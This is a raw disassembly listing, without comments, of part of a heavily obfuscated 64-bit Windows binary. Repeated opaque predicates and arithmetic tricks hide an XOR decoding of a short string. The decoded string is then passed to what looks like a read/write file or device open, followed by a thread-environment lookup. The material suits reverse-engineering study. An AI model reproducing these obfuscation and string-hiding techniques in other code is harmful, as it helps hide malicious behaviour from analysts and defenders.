movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004f9c3
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004f9c3
mov dword [rbp - 0x74], esi
jmp 0x14004fa54
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004fa54
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsxd rax, dword [rsp + 0x60]
movzx r8d, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
and r8b, byte [rbp - 0x74]
add r8b, r8b
movzx edx, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
sub dl, r8b
add dl, dil
mov byte [rax + r14 + 1], dl
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004fd89
mov eax, dword [rsp + 0x60]
sub eax, 0xe
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004fb7c
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004fb7c
mov edi, esi
mov dword [rbp - 0x5c], esi
jmp 0x14004fc12
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004fc0f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
mov dword [rbp - 0x5c], edi
jmp 0x14004fc12
mov edi, dword [rbp - 0x5c]
mov eax, dword [rsp + 0x60]
sub eax, 0xe
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004fccb
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004fccb
mov dword [rbp - 0x60], esi
jmp 0x14004fd5c
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004fd5c
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x60], eax
movsxd rax, dword [rsp + 0x60]
movzx r8d, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
and r8b, byte [rbp - 0x60]
add r8b, r8b
movzx edx, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
sub dl, r8b
add dl, dil
mov byte [rax + r14 + 1], dl
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005006a
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004fe6b
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004fe6b
mov edi, esi
mov dword [rbp - 0x64], esi
jmp 0x14004ff01
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004fefe
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
mov dword [rbp - 0x64], edi
jmp 0x14004ff01
mov edi, dword [rbp - 0x64]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004ffac
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004ffac
mov dword [rbp - 0x68], esi
jmp 0x14005003d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005003d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x68], eax
movsxd rax, dword [rsp + 0x60]
movzx r8d, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
and r8b, byte [rbp - 0x68]
add r8b, r8b
movzx edx, byte [rax + r14 + 1]
movsxd rax, dword [rsp + 0x60]
sub dl, r8b
add dl, dil
mov byte [rax + r14 + 1], dl
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cmp eax, 0xe
jb 0x14004f1a7
xor r15d, r15d
mov byte [r14], 1
mov qword [rsp + 0x30], r15
lea rcx, [r14 + 1]
mov dword [rsp + 0x28], r15d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [rbp - 0x80]
mov rdi, rax
mov qword [rsp + 0x68], rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050411
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cmp rdi, 0xffffffffffffffff
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov eax, r15d
cvtdq2pd xmm0, xmm0
sete al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400501b1
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400501b1
mov edi, esi
jmp 0x140050244
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050240
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si edi, xmm0
jmp 0x140050244
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x140050411
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050375
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14005229e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050404
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si eax, xmm0
jmp 0x140050408
mov eax, dword [rsp + 0x70]
cmp r15d, eax
jl 0x14005229e
mov dword [rbp + 0x58], 2
lea rdx, [rbp + 0x18]
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x3d8]
mov qword [rbp + 0x60], rcx
lea rcx, [rbp - 0x55]
mov dword [rbp + 0x5c], 0x3ff
mov byte [rbp - 0x55], r15b
call fcn.1400429a0
movsd xmm7, qword [0x1406ab498]
mov r14, rax
movsd xmm8, qword [0x1406ab490]
movsd xmm9, qword [0x1406ab488]
cmp byte [rax], r15b
jne 0x14005134c
movsd xmm6, qword [0x1406ab4a0]
mov r12d, dword [rsp + 0x70]
mov r13d, dword [rsp + 0x70]
mov dword [rsp + 0x60], r15d
mov ecx, dword [rsp + 0x60]
mov r15d, dword [rsp + 0x70]
nop word [rax + rax]
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140050760
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050571
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140050571
mov r15d, esi
jmp 0x1400505ff
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400505ff
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si r15d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400506a8
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400506a8
mov r12d, esi
jmp 0x140050736
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050736
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, r12d
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, r15d
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051058
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140050a78
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050886
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140050886
mov r13d, esi
jmp 0x140050914
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050914
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si r13d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400509bd
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400509bd
mov dword [rbp - 0x6c], esi
jmp 0x140050a4d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140050a4d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x6c]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, r13d
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140050d57
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
